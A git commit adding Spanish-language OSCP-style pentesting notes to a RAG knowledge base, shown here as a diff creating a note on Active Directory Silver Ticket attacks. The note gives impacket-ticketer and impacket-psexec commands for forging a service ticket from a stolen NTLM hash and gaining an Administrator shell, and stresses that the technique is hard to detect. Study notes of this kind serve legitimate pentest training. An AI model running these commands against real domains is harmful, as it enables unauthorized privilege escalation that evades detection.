saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/05 - Active Directory/Silver Ticket.md

@@ -0,0 +1,22 @@
+# Silver Ticket
+
+> Forjas un **TGS** para **un servicio concreto** usando el hash NTLM de **esa cuenta de servicio** (no del krbtgt). Más sigiloso que el Golden Ticket: **no habla con el DC**. Fuente: oscp.trastero.org/activedirectory.
+
+## Golden vs Silver
+```
+Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
+Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
+```
+El Silver no toca el KDC → casi indetectable, pero limitado al servicio.
+
+## Forjar
+```bash
+impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
+  -domain corp.local -spn cifs/server.corp.local Administrator
+export KRB5CCNAME=Administrator.ccache
+impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
+```
+- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
+- `-spn` define a qué servicio aplica (`cifs/`, `mssql/`, `http/`, `host/`...).
+
+Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC